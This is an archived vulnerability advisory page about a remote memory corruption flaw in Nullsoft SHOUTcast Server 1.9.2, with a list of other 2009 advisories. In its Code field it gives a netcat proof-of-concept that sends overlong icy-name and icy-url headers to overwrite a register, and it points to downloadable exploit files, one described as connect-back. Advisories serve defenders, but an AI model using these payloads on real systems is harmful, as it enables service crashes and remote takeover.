exploits , vulnerabilities , articles , Nullsoft SHOUTcast icy-name/icy-url Memory Corruption Vulnerability

Title	Nullsoft SHOUTcast icy-name/icy-url Memory Corruption Vulnerability
Published	2003-11-03-12:00AM
Updated	2004-03-04-04:43PM
Class	Boundary Condition Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovery of this issue is credited to HEX <hex@hex_net_ru.securityfocus.com>.
Vulnerable	NullSoft Shoutcast Server 1.9.2 Win32
Not Vulnerable
Code	The following proof-of-concept example was provided: >nc target 8001 changeme icy-name:AAA...[Ax275]BBBB[rewrite EAX] icy-genre:DoS radio icy-url:AAA...[Ax288]BBBB[rewrite EAX] icy-pub:1 icy-irc:N/A icy-icq:N/A icy-aim:N/A icy-br:160 --- A proof of concept exploit has been made available. It should be noted that Symantec has not verified the integrity of this file. The proof of concept is available at the following location: http://www.securitylab.ru/_tools/shoutdown.01.tar.gz exworm of oseen has provided the following connect back exploit, oseen_shoucast.c. The following exploit code has been provided: /data/vulnerabilities/exploits/shoutexp.py /data/vulnerabilities/exploits/oseen_shoucast.c
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-17 Zen Cart Insecure File and Programs Information Disclosure and Database Deletion Vulnerability
• 2009-12-17 Winamp Module Decoder Plugin Multiple Buffer Overflow Vulnerabilities
• 2009-12-17 Winamp JPEG and PNG Multiple Integer Overflow Vulnerabilities
• 2009-12-17 HP OpenView Storage Data Protector Stack Buffer Overflow Vulnerability
• 2009-12-17 IBM WebSphere Application Server Feature Pack for CEA Spoofing Vulnerability
• 2009-12-17 Digital Scribe Cross Site Scripting and SQL Injection Vulnerabilities
• 2009-12-17 WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
• 2009-12-17 Quick Heal AntiVirus Insecure Program File Permissions Local Privilege Escalation Vulnerability
• 2009-12-17 IntelliCom NetBiter webSCADA Multiple Default Password Security Bypass Vulnerabilities
• 2009-12-17 Webmatic Multiple Unspecified SQL Injection and Cross-Site Scripting Vulnerabilities

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Fri, 18 Dec 2009 06:12:51 +0000